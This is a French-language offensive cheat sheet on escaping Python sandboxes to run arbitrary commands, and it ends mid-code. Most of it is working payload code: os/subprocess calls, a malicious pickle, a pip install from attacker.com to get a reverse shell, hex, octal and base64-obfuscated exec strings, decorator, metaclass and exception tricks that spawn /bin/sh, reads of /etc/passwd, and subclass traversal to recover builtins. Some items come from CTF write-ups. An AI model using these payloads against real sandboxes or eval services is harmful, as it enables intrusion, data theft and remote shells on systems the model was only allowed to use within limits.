Bypass Python sandboxes

Reading time: 41 minutes

Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.

Command Execution Libraries

La première chose à savoir est si vous pouvez directement exécuter du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Souvenez-vous que les fonctions open et read peuvent être utiles pour lire des fichiers à l'intérieur du python sandbox et pour écrire du code que vous pouvez exécuter pour bypass le sandbox.

[!CAUTION] > La fonction Python2 input() permet d'exécuter du code python avant que le programme ne plante.

Python essaye de charger les librairies depuis le répertoire courant en premier (la commande suivante affichera d'où Python charge les modules) : python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Packages par défaut

Vous pouvez trouver une liste des packages pré-installés ici: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Notez que depuis un pickle vous pouvez faire en sorte que le python env import arbitrary libraries installées sur le système.
Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la librairie pip pour l'utiliser:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : https://checkoway.net/musings/pickle/

Pip package

Astuce partagée par @isHaacK

Si vous avez accès à pip ou pip.main(), vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Vous pouvez télécharger le paquet pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser, vous devez le décompresser, modifier le setup.py et y mettre votre IP pour le reverse shell:

Eval-ing python code

Si certains caractères sont interdits, vous pouvez utiliser la représentation hex/octal/B64 pour bypass la restriction:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Autres bibliothèques qui permettent de eval python code

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Voir aussi une sandboxed evaluator escape en conditions réelles dans des générateurs PDF :

• ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Elle abuse de rl_safe_eval pour atteindre function.globals et os.system via des attributs évalués (par exemple, la couleur de la police) et renvoie une valeur valide pour conserver le rendu stable.

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Opérateurs et astuces rapides

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Contourner les protections via des encodages (UTF-7)

Dans this writeup UFT-7 est utilisé pour charger et exécuter arbitrary python code dans un sandbox apparent:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Il est également possible de le contourner en utilisant d'autres encodages, p. ex. raw_unicode_escape et unicode_escape.

Exécution Python sans appels

Si vous êtes dans un bac à sable Python qui ne vous permet pas d'effectuer des appels, il existe encore des moyens de exécuter des fonctions arbitraires, du code et des commandes.

RCE avec decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE : création d'objets et surcharge

If you can déclarer une classe and créer un objet de cette classe you could write/overwrite different methods that can be triggered without needing to call them directly.

RCE avec des classes personnalisées

You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Création d'objets avec metaclasses

La chose essentielle que les metaclasses nous permettent de faire est créer une instance d'une classe, sans appeler le constructeur directement, en créant une nouvelle classe ayant la classe cible comme metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Création d'objets avec des exceptions

Lorsqu'une exception est déclenchée, un objet de Exception est créé sans que vous ayez besoin d'appeler directement le constructeur (une astuce de @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Plus de RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Lire le fichier avec builtins help & licence

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Builtins functions of python2
• Builtins functions of python3

Si vous pouvez accéder à l'objet __builtins__ vous pouvez importer des bibliothèques (notez que vous pouvez aussi utiliser ici d'autres représentations sous forme de chaîne montrées dans la dernière section):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Pas de Builtins

Lorsque vous n'avez pas __builtins__ vous ne pouvez pas importer quoi que ce soit ni même lire ou écrire des fichiers car toutes les fonctions globales (comme open, import, print...) ne sont pas chargées.
Cependant, par défaut python importe de nombreux modules en mémoire. Ces modules peuvent sembler bénins, mais certains d'entre eux importent également des fonctionnalités dangereuses en leur sein auxquelles on peut accéder pour obtenir même une arbitrary code execution.

Dans les exemples suivants vous pouvez observer comment abuser de certains de ces modules "bénins" chargés pour accéder à des fonctionnalités dangereuses en leur sein.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Ci-dessous se trouve une fonction plus grande pour trouver des dizaines/centaines de lieux où vous pouvez trouver les builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Payloads pour builtins

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Vérifier les globals et locals est un bon moyen de savoir à quoi vous avez accès.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Below there is a bigger function pour trouver des dizaines/centaines de lieux où vous pouvez trouver les globals.

Découvrir l'exécution arbitraire

Ici, je veux expliquer comment découvrir facilement des fonctionnalités plus dangereuses chargées et proposer des exploits plus fiables.

Accéder aux subclasses avec bypasses

Une des parties les plus sensibles de cette technique est de pouvoir accéder aux subclasses de base. Dans les exemples précédents, cela a été fait en utilisant ''.__class__.__base__.__subclasses__() mais il existe d'autres manières possibles:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Trouver les bibliothèques dangereuses chargées

Par exemple, sachant qu'avec la bibliothèque sys il est possible d'importer des bibliothèques arbitraires, vous pouvez rechercher tous les modules chargés qui ont importé sys en leur sein :

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Il y en a beaucoup, et nous n'avons besoin que d'un pour exécuter des commandes:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Nous pouvons faire la même chose avec d'autres bibliothèques dont nous savons qu'elles peuvent être utilisées pour exécuter des commandes:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes :

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

De plus, si vous pensez que d'autres bibliothèques peuvent être capables d'invoquer des fonctions pour exécuter des commandes, nous pouvons aussi filtrer par noms de fonctions à l'intérieur des bibliothèques possibles:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
